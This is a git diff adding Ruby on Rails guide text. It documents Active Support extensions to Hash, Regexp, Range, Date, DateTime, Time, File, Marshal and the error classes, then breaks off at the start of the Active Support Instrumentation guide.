+hash = {a: 1, b: 2}
+rest = hash.slice!(:a) # => {:b=>2}
+hash                   # => {:a=>1}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Extracting
+
+The method `extract!` removes and returns the key/value pairs matching the given keys.
+
+```ruby
+hash = {a: 1, b: 2}
+rest = hash.extract!(:a) # => {:a=>1}
+hash                     # => {:b=>2}
+```
+
+The method `extract!` returns the same subclass of Hash, that the receiver is.
+
+```ruby
+hash = {a: 1, b: 2}.with_indifferent_access
+rest = hash.extract!(:a).class
+# => ActiveSupport::HashWithIndifferentAccess
+```
+
+NOTE: Defined in `active_support/core_ext/hash/slice.rb`.
+
+### Indifferent Access
+
+The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndifferentAccess` out of its receiver:
+
+```ruby
+{a: 1}.with_indifferent_access["a"] # => 1
+```
+
+NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
+
+### Compacting
+
+The methods `compact` and `compact!` return a Hash without items with `nil` value.
+
+```ruby
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
+
+Extensions to `Regexp`
+----------------------
+
+### `multiline?`
+
+The method `multiline?` says whether a regexp has the `/m` flag set, that is, whether the dot matches newlines.
+
+```ruby
+%r{.}.multiline?  # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline?                    # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+```
+
+Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.
+
+```ruby
+def assign_route_options(segments, defaults, requirements)
+  ...
+  if requirement.multiline?
+    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+  end
+  ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/regexp.rb`.
+
+### `match?`
+
+Rails implements `Regexp#match?` for Ruby versions prior to 2.4:
+
+```ruby
+/oo/.match?('foo')    # => true
+/oo/.match?('bar')    # => false
+/oo/.match?('foo', 1) # => true
+```
+
+The backport has the same interface and lack of side-effects in the caller like
+not setting `$1` and friends, but it does not have the speed benefits. Its
+purpose is to be able to write 2.4 compatible code. Rails itself uses this
+predicate internally for example.
+
+Active Support defines `Regexp#match?` only if not present, so code running
+under 2.4 or later does run the original one and gets the performance boost.
+
+Extensions to `Range`
+---------------------
+
+### `to_s`
+
+Active Support extends the method `Range#to_s` so that it understands an optional format argument. As of this writing the only supported non-default format is `:db`:
+
+```ruby
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+```
+
+As the example depicts, the `:db` format generates a `BETWEEN` SQL clause. That is used by Active Record in its support for range values in conditions.
+
+NOTE: Defined in `active_support/core_ext/range/conversions.rb`.
+
+### `include?`
+
+The methods `Range#include?` and `Range#===` say whether some value falls between the ends of a given instance:
+
+```ruby
+(2..3).include?(Math::E) # => true
+```
+
+Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:
+
+```ruby
+(1..10).include?(3..7)  # => true
+(1..10).include?(0..7)  # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9)  # => false
+
+(1..10) === (3..7)  # => true
+(1..10) === (0..7)  # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9)  # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/include_range.rb`.
+
+### `overlaps?`
+
+The method `Range#overlaps?` says whether any two given ranges have non-void intersection:
+
+```ruby
+(1..10).overlaps?(7..11)  # => true
+(1..10).overlaps?(0..7)   # => true
+(1..10).overlaps?(11..27) # => false
+```
+
+NOTE: Defined in `active_support/core_ext/range/overlaps.rb`.
+
+Extensions to `Date`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`.
+
+INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.
+
+#### `Date.current`
+
+Active Support defines `Date.current` to be today in the current time zone. That's like `Date.today`, except that it honors the user time zone, if defined. It also defines `Date.yesterday` and `Date.tomorrow`, and the instance predicates `past?`, `today?`, `future?`, `on_weekday?` and `on_weekend?`, all of them relative to `Date.current`.
+
+When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.
+
+#### Named dates
+
+##### `prev_year`, `next_year`
+
+In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year              # => Fri, 08 May 2009
+d.next_year              # => Sun, 08 May 2011
+```
+
+If date is the 29th of February of a leap year, you obtain the 28th:
+
+```ruby
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year               # => Sun, 28 Feb 1999
+d.next_year               # => Wed, 28 Feb 2001
+```
+
+`prev_year` is aliased to `last_year`.
+
+##### `prev_month`, `next_month`
+
+In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month             # => Thu, 08 Apr 2010
+d.next_month             # => Tue, 08 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+```
+
+`prev_month` is aliased to `last_month`.
+
+##### `prev_quarter`, `next_quarter`
+
+Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter:
+
+```ruby
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter             # => Mon, 08 Feb 2010
+t.next_quarter             # => Sun, 08 Aug 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+```
+
+`prev_quarter` is aliased to `last_quarter`.
+
+##### `beginning_of_week`, `end_of_week`
+
+The methods `beginning_of_week` and `end_of_week` return the dates for the
+beginning and end of the week, respectively. Weeks are assumed to start on
+Monday, but that can be changed passing an argument, setting thread local
+`Date.beginning_of_week` or `config.beginning_of_week`.
+
+```ruby
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.beginning_of_week          # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week                # => Sun, 09 May 2010
+d.end_of_week(:sunday)       # => Sat, 08 May 2010
+```
+
+`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.
+
+##### `monday`, `sunday`
+
+The methods `monday` and `sunday` return the dates for the previous Monday and
+next Sunday, respectively.
+
+```ruby
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.monday                     # => Mon, 03 May 2010
+d.sunday                     # => Sun, 09 May 2010
+
+d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
+d.monday                     # => Mon, 10 Sep 2012
+
+d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
+d.sunday                     # => Sun, 16 Sep 2012
+```
+
+##### `prev_week`, `next_week`
+
+The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day.
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.next_week              # => Mon, 10 May 2010
+d.next_week(:saturday)   # => Sat, 15 May 2010
+```
+
+The method `prev_week` is analogous:
+
+```ruby
+d.prev_week              # => Mon, 26 Apr 2010
+d.prev_week(:saturday)   # => Sat, 01 May 2010
+d.prev_week(:friday)     # => Fri, 30 Apr 2010
+```
+
+`prev_week` is aliased to `last_week`.
+
+Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set.
+
+##### `beginning_of_month`, `end_of_month`
+
+The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_month     # => Sat, 01 May 2010
+d.end_of_month           # => Mon, 31 May 2010
+```
+
+`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.
+
+##### `beginning_of_quarter`, `end_of_quarter`
+
+The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_quarter   # => Thu, 01 Apr 2010
+d.end_of_quarter         # => Wed, 30 Jun 2010
+```
+
+`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.
+
+##### `beginning_of_year`, `end_of_year`
+
+The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:
+
+```ruby
+d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
+d.beginning_of_year      # => Fri, 01 Jan 2010
+d.end_of_year            # => Fri, 31 Dec 2010
+```
+
+`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.
+
+#### Other Date Computations
+
+##### `years_ago`, `years_since`
+
+The method `years_ago` receives a number of years and returns the same date those many years ago:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_ago(10) # => Wed, 07 Jun 2000
+```
+
+`years_since` moves forward in time:
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.years_since(10) # => Sun, 07 Jun 2020
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
+Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015
+```
+
+##### `months_ago`, `months_since`
+
+The methods `months_ago` and `months_since` work analogously for months:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
+Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
+Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
+```
+
+##### `weeks_ago`
+
+The method `weeks_ago` works analogously for weeks:
+
+```ruby
+Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
+Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010
+```
+
+##### `advance`
+
+The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
+
+```ruby
+date = Date.new(2010, 6, 6)
+date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
+date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010
+```
+
+Note in the previous example that increments may be negative.
+
+To perform the computation the method first increments years, then months, then weeks, and finally days. This order is important towards the end of months. Say for example we are at the end of February of 2010, and we want to move one month and one day forward.
+
+The method `advance` advances first one month, and then one day, the result is:
+
+```ruby
+Date.new(2010, 2, 28).advance(months: 1, days: 1)
+# => Sun, 29 Mar 2010
+```
+
+While if it did it the other way around the result would be different:
+
+```ruby
+Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
+# => Thu, 01 Apr 2010
+```
+
+#### Changing Components
+
+The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day:
+
+```ruby
+Date.new(2010, 12, 23).change(year: 2011, month: 11)
+# => Wed, 23 Nov 2011
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+Date.new(2010, 1, 31).change(month: 2)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from dates:
+
+```ruby
+d = Date.current
+# => Mon, 09 Aug 2010
+d + 1.year
+# => Tue, 09 Aug 2011
+d - 3.hours
+# => Sun, 08 Aug 2010 21:00:00 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Date.new(1582, 10, 4) + 1.day
+# => Fri, 15 Oct 1582
+```
+
+#### Timestamps
+
+INFO: The following methods return a `Time` object if possible, otherwise a `DateTime`. If set, they honor the user time zone.
+
+##### `beginning_of_day`, `end_of_day`
+
+The method `beginning_of_day` returns a timestamp at the beginning of the day (00:00:00):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010
+```
+
+The method `end_of_day` returns a timestamp at the end of the day (23:59:59):
+
+```ruby
+date = Date.new(2010, 6, 7)
+date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
+```
+
+`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`.
+
+##### `beginning_of_hour`, `end_of_hour`
+
+The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010
+```
+
+The method `end_of_hour` returns a timestamp at the end of the hour (hh:59:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
+```
+
+`beginning_of_hour` is aliased to `at_beginning_of_hour`.
+
+##### `beginning_of_minute`, `end_of_minute`
+
+The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+```
+
+The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+```
+
+`beginning_of_minute` is aliased to `at_beginning_of_minute`.
+
+INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
+
+##### `ago`, `since`
+
+The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00
+```
+
+Similarly, `since` moves forward:
+
+```ruby
+date = Date.current # => Fri, 11 Jun 2010
+date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
+```
+
+#### Other Time Computations
+
+### Conversions
+
+Extensions to `DateTime`
+------------------------
+
+WARNING: `DateTime` is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example `seconds_since_midnight` might not return the real amount in such a day.
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.
+
+The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:
+
+```ruby
+yesterday
+tomorrow
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+on_weekday?
+on_weekend?
+```
+
+The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:
+
+```ruby
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+ago
+since (in)
+```
+
+On the other hand, `advance` and `change` are also defined and support more options, they are documented below.
+
+The following methods are only implemented in `active_support/core_ext/date_time/calculations.rb` as they only make sense when used with a `DateTime` instance:
+
+```ruby
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+```
+
+#### Named Datetimes
+
+##### `DateTime.current`
+
+Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.
+
+#### Other Extensions
+
+##### `seconds_since_midnight`
+
+The method `seconds_since_midnight` returns the number of seconds since midnight:
+
+```ruby
+now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
+now.seconds_since_midnight # => 73596
+```
+
+##### `utc`
+
+The method `utc` gives you the same datetime in the receiver expressed in UTC.
+
+```ruby
+now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
+now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000
+```
+
+This method is also aliased as `getutc`.
+
+##### `utc?`
+
+The predicate `utc?` says whether the receiver has UTC as its time zone:
+
+```ruby
+now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
+now.utc?           # => false
+now.utc.utc?       # => true
+```
+
+##### `advance`
+
+The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
+
+```ruby
+d = DateTime.current
+# => Thu, 05 Aug 2010 11:33:31 +0000
+d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
+# => Tue, 06 Sep 2011 12:34:32 +0000
+```
+
+This method first computes the destination date passing `:years`, `:months`, `:weeks`, and `:days` to `Date#advance` documented above. After that, it adjusts the time calling `since` with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in `Date#advance` applies, and we can extend it to show order relevance related to the time bits.
+
+If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:
+
+```ruby
+d = DateTime.new(2010, 2, 28, 23, 59, 59)
+# => Sun, 28 Feb 2010 23:59:59 +0000
+d.advance(months: 1, seconds: 1)
+# => Mon, 29 Mar 2010 00:00:00 +0000
+```
+
+but if we computed them the other way around, the result would be different:
+
+```ruby
+d.advance(seconds: 1).advance(months: 1)
+# => Thu, 01 Apr 2010 00:00:00 +0000
+```
+
+WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
+
+#### Changing Components
+
+The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
+
+```ruby
+now = DateTime.current
+# => Tue, 08 Jun 2010 01:56:22 +0000
+now.change(year: 2011, offset: Rational(-6, 24))
+# => Wed, 08 Jun 2011 01:56:22 -0600
+```
+
+If hours are zeroed, then minutes and seconds are too (unless they have given values):
+
+```ruby
+now.change(hour: 0)
+# => Tue, 08 Jun 2010 00:00:00 +0000
+```
+
+Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):
+
+```ruby
+now.change(min: 0)
+# => Tue, 08 Jun 2010 01:00:00 +0000
+```
+
+This method is not tolerant to non-existing dates, if the change is invalid `ArgumentError` is raised:
+
+```ruby
+DateTime.current.change(month: 2, day: 30)
+# => ArgumentError: invalid date
+```
+
+#### Durations
+
+Durations can be added to and subtracted from datetimes:
+
+```ruby
+now = DateTime.current
+# => Mon, 09 Aug 2010 23:15:17 +0000
+now + 1.year
+# => Tue, 09 Aug 2011 23:15:17 +0000
+now - 1.week
+# => Mon, 02 Aug 2010 23:15:17 +0000
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+DateTime.new(1582, 10, 4, 23) + 1.hour
+# => Fri, 15 Oct 1582 00:00:00 +0000
+```
+
+Extensions to `Time`
+--------------------
+
+### Calculations
+
+NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`.
+
+Active Support adds to `Time` many of the methods available for `DateTime`:
+
+```ruby
+past?
+today?
+future?
+yesterday
+tomorrow
+seconds_since_midnight
+change
+advance
+ago
+since (in)
+beginning_of_day (midnight, at_midnight, at_beginning_of_day)
+end_of_day
+beginning_of_hour (at_beginning_of_hour)
+end_of_hour
+beginning_of_week (at_beginning_of_week)
+end_of_week (at_end_of_week)
+monday
+sunday
+weeks_ago
+prev_week (last_week)
+next_week
+months_ago
+months_since
+beginning_of_month (at_beginning_of_month)
+end_of_month (at_end_of_month)
+prev_month (last_month)
+next_month
+beginning_of_quarter (at_beginning_of_quarter)
+end_of_quarter (at_end_of_quarter)
+beginning_of_year (at_beginning_of_year)
+end_of_year (at_end_of_year)
+years_ago
+years_since
+prev_year (last_year)
+next_year
+on_weekday?
+on_weekend?
+```
+
+They are analogous. Please refer to their documentation above and take into account the following differences:
+
+* `change` accepts an additional `:usec` option.
+* `Time` understands DST, so you get correct DST calculations as in
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+
+# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+t = Time.local(2010, 3, 28, 1, 59, 59)
+# => Sun Mar 28 01:59:59 +0100 2010
+t.advance(seconds: 1)
+# => Sun Mar 28 03:00:00 +0200 2010
+```
+
+* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead.
+
+#### `Time.current`
+
+Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
+
+When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`.
+
+#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
+
+The method `all_day` returns a range representing the whole day of the current time.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_day
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+```
+
+Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now.all_week
+# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+now.all_week(:sunday)
+# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
+now.all_month
+# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+now.all_quarter
+# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+now.all_year
+# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+```
+
+### Time Constructors
+
+Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
+
+```ruby
+Time.zone_default
+# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
+Time.current
+# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
+```
+
+Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.
+
+If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.
+
+#### Durations
+
+Durations can be added to and subtracted from time objects:
+
+```ruby
+now = Time.current
+# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
+now + 1.year
+#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+now - 1.week
+# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
+```
+
+They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
+
+```ruby
+Time.utc(1582, 10, 3) + 5.days
+# => Mon Oct 18 00:00:00 UTC 1582
+```
+
+Extensions to `File`
+--------------------
+
+### `atomic_write`
+
+With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content.
+
+The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.
+
+For example, Action Pack uses this method to write asset cache files like `all.css`:
+
+```ruby
+File.atomic_write(joined_asset_path) do |cache|
+  cache.write(join_asset_file_contents(asset_paths))
+end
+```
+
+To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. However there are a few cases where `atomic_write` cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it.
+
+NOTE. Due to the chmod operation `atomic_write` performs, if the target file has an ACL set on it this ACL will be recalculated/modified.
+
+WARNING. Note you can't append with `atomic_write`.
+
+The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.
+
+NOTE: Defined in `active_support/core_ext/file/atomic.rb`.
+
+Extensions to `Marshal`
+-----------------------
+
+### `load`
+
+Active Support adds constant autoloading support to `load`.
+
+For example, the file cache store deserializes this way:
+
+```ruby
+File.open(file_name) { |f| Marshal.load(f) }
+```
+
+If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.
+
+WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able to retry. Regular files respond to `rewind`.
+
+NOTE: Defined in `active_support/core_ext/marshal.rb`.
+
+Extensions to `NameError`
+-------------------------
+
+Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.
+
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+
+TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+
+For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue LoadError => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `active_support/core_ext/name_error.rb`.
+
+Extensions to `LoadError`
+-------------------------
+
+Active Support adds `is_missing?` to `LoadError`.
+
+Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
+
+For example, when an action of `ArticlesController` is called Rails tries to load `articles_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
+
+```ruby
+def default_helper_module!
+  module_name = name.sub(/Controller$/, '')
+  module_path = module_name.underscore
+  helper module_path
+rescue LoadError => e
+  raise e unless e.is_missing? "helpers/#{module_path}_helper"
+rescue NameError => e
+  raise e unless e.missing_name? "#{module_name}Helper"
+end
+```
+
+NOTE: Defined in `active_support/core_ext/load_error.rb`.
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
new file mode 100644
index 0000000000..03c9183eb3
--- /dev/null
+++ b/guides/source/active_support_instrumentation.md
@@ -0,0 +1,552 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Support Instrumentation
+==============================
+
+Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+
+In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
+
+After reading this guide, you will know:
+
+* What instrumentation can provide.
+* The hooks inside the Rails framework for instrumentation.
+* Adding a subscriber to a hook.
+* Building a custom instrumentation implementation.
+
+--------------------------------------------------------------------------------
+
+Introduction to instrumentation
+-------------------------------
+
+The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the [Rails framework](#rails-framework-hooks). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+
+For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
+
+You are even able to create your own events inside your application which you can later subscribe to.
+
+Rails framework hooks
+---------------------
+
+Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
+
+Action Controller
+-----------------
+
+### write_fragment.action_controller
+
+| Key    | Value            |
+| ------ | ---------------- |
